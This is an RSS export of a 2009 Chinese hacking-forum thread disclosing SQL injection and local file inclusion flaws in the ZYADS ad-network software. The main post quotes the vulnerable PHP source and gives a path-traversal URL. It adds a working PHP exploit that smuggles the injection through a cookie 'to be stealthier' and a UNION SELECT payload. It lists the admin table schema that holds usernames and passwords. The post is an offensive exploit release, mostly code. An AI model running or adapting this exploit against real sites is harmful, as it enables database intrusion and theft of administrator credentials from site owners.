<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title><![CDATA[Wolves Security Team / 中易广告联盟系统(ZYADS) sql注入和本地包含漏洞]]></title>
		<link>http://bbs.wolvez.org/viewtopic.php?id=49</link>
		<description><![CDATA[The most recent posts in 中易广告联盟系统(ZYADS) sql注入和本地包含漏洞.]]></description>
		<lastBuildDate>Wed, 21 Oct 2009 04:55:35 +0000</lastBuildDate>
		<generator>FluxBB</generator>
		<item>
			<title><![CDATA[Re: 中易广告联盟系统(ZYADS) sql注入和本地包含漏洞]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?pid=245#p245</link>
			<description><![CDATA[<p>呵呵，外面到处都是了，就转出来吧。</p>]]></description>
			<author><![CDATA[dummy@example.com (q1ur3n)]]></author>
			<pubDate>Wed, 21 Oct 2009 04:55:35 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?pid=245#p245</guid>
		</item>
		<item>
			<title><![CDATA[中易广告联盟系统(ZYADS) sql注入和本地包含漏洞]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?pid=104#p104</link>
			<description><![CDATA[<p>中易广告联盟系统(ZYADS) sql注入和本地包含漏洞</p><p>在index/news.php 1-31行<br /></p><div class="codebox"><pre class="vscroll"><code>&lt;?
include_once(&quot;top.php&quot;);

      $newsid = intval($_GET[&#039;id&#039;]);
      
      $to_type = addslashes($_GET[&#039;type&#039;]);
      
      if ($to_type==&#039;index&#039;)
      {
          $to_type_s =&quot; and to_type=1&quot;;
      }
      
       if ($to_type==&#039;webuser&#039;)
      {
          $to_type_s =&quot; and to_type!=3&quot;;
      }
      
       if ($to_type==&#039;webadver&#039;)
      {
          $to_type_s =&quot; and to_type!=2&quot;;
      }
      
      $newssql = &#039;select * from zyads_news WHERE `id` =\&#039;&#039; . $newsid . &#039;\&#039; 

&#039;.$to_type_s.&#039;&#039;;
    
      $newsre=$db-&gt;query($newssql);
      $newsrow = $db-&gt;fetch_array($newsre);
      if (empty($newsrow)){

        zyads_message(&#039;zyads_news&#039;);
      }
?&gt;</code></pre></div><p>可以看到$to_type没定义或者不等于index，webuser，webadver的话 那么$to_type_s是没有定义的</p><p>这时候我们就可以提交一个$to_type_s变量来进行sql注入。简单的注入，呵呵。</p><p>在/code/adview_cpa_html.php 1-46行<br /></p><div class="codebox"><pre class="vscroll"><code>&lt;?php
/*********************/
/*                   */
/*  Version : 5.1.0  */
/*  Author  : RM     */
/*  Comment : 071223 */
/*                   */
/*********************/

_obfuscate_JQYdYn1jfBI( );
define( &quot;IN_ZYADS&quot;, TRUE );
$name = $_GET[&#039;name&#039;];
$adid = $_GET[&#039;adid&#039;];
$offsetwidth = $_GET[&#039;offsetwidth&#039;];
$site = $_GET[&#039;site&#039;];
$click_url = &quot;http://www.erzhi.cn&quot;;
$count_url = &quot;http://www.erzhi.cn&quot;;
if ( empty( $name ) || empty( $adid ) || empty( $site ) )
{
        exit( &quot;广告出错&quot; );
}
@require( &quot;../user/c/&quot;.$name.&quot;/user_info.php&quot; );
require( &quot;../include/soft_class.php&quot; );
require( &quot;../include/settings.php&quot; );
$code = new _obfuscate_Y2xpZW50( );
$getip = $code-&gt;_obfuscate_Z2V0aXA( );
$getbrowse = $code-&gt;_obfuscate_Z2V0YnJvd3Nl( );
$getos = $code-&gt;_obfuscate_Z2V0b3M( );
$maketime = time( ) + $setting[&#039;zyads_date&#039;] * 3600;
$maketime = $maketime;
$strbas = $code-&gt;_obfuscate_cGFzc3BvcnRfZW5jcnlwdA( 

$getip.&quot;|&quot;.$maketime.&quot;|&quot;.$getbrowse.&quot;|&quot;.$getos, $setting[&#039;url_pwd&#039;] );
$strbas = _obfuscate_IGI7aGd_LDRuMD0VZg( $strbas );
if ( $zyads_users[&#039;flag&#039;] != 2 )
{
        echo &quot;document.write(&#039;帐号被锁定&#039;);&quot;;
        exit( );
}
if ( _obfuscate_Cx96BhhwZxABPA8( &quot;../cache/cpa/&quot;.$adid.&quot;.php&quot; ) )
{
        require( &quot;../cache/cpa/&quot;.$adid.&quot;.php&quot; );
}
else
{
        exit( &quot;文件丢失-&quot;.$adid.&quot;.php&quot; );
}</code></pre></div><p>$name，$adid这两个变量都能造成本地包含漏洞</p><p>不过$adid好利用点。</p><p>exp：/code/adview_cpa_html.php?name=admin&amp;adid=../../index&amp;site=www.xxx.com</p><p>最后附上一个exp，只是简单的cookie提交参数&#160; 为了隐蔽点 呵呵</p><div class="codebox"><pre class="vscroll"><code>&lt;?php
//by q1ur3n
//team: http://www.wolvez.org
//exp : zyads.php?site=www.tx8688.com&amp;id=and 1=2 union select 1,2,3,4,5,6%23
//敏感信息表信息：
/*
DROP TABLE IF EXISTS zyads_admin;
CREATE TABLE zyads_admin (
   id int(11) NOT NULL auto_increment,
   username varchar(20) NOT NULL,
   pwd varchar(50) NOT NULL,
   login_num int(11) NOT NULL,
   last_time datetime DEFAULT &#039;0000-00-00 00:00:00&#039; NOT NULL,
   islock int(1) NOT NULL,
   ip varchar(20) NOT NULL,
   admin_flag varchar(200) NOT NULL,
   addtime datetime NOT NULL,
   PRIMARY KEY (id)
);

*/

$host = $_GET[&#039;site&#039;];
$cmd=&#039;to_type_s=&#039;.urlencode(stripcslashes($_REQUEST[&quot;id&quot;]));

$message = &quot;GET /index/news.php?id=89  HTTP/1.1\r\n&quot;;
$message .= &quot;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-

shockwave-flash, */*\r\n&quot;;
$message .= &quot;Referer: http://www.baidu.com/\r\n&quot;;
$message .= &quot;Accept-Language: zh-cn\r\n&quot;;
$message .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
$message .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
$message .= &quot;Host: $host\r\n&quot;;
$message .= &quot;Connection: Close\r\n&quot;;
$message .= &quot;Cookie: &quot;.$cmd.&quot;\r\n\r\n&quot;;
//echo $message;
       
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = &#039;&#039;;
while ($fp &amp;&amp; !feof($fp))
$resp .= fread($fp, 1024);
echo $resp;
fclose($fp);
       
?&gt;</code></pre></div><br /><p>这程序是商业程序，没得下载。大家别传出去。</p>]]></description>
			<author><![CDATA[dummy@example.com (q1ur3n)]]></author>
			<pubDate>Mon, 02 Feb 2009 07:49:06 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?pid=104#p104</guid>
		</item>
	</channel>
</rss>
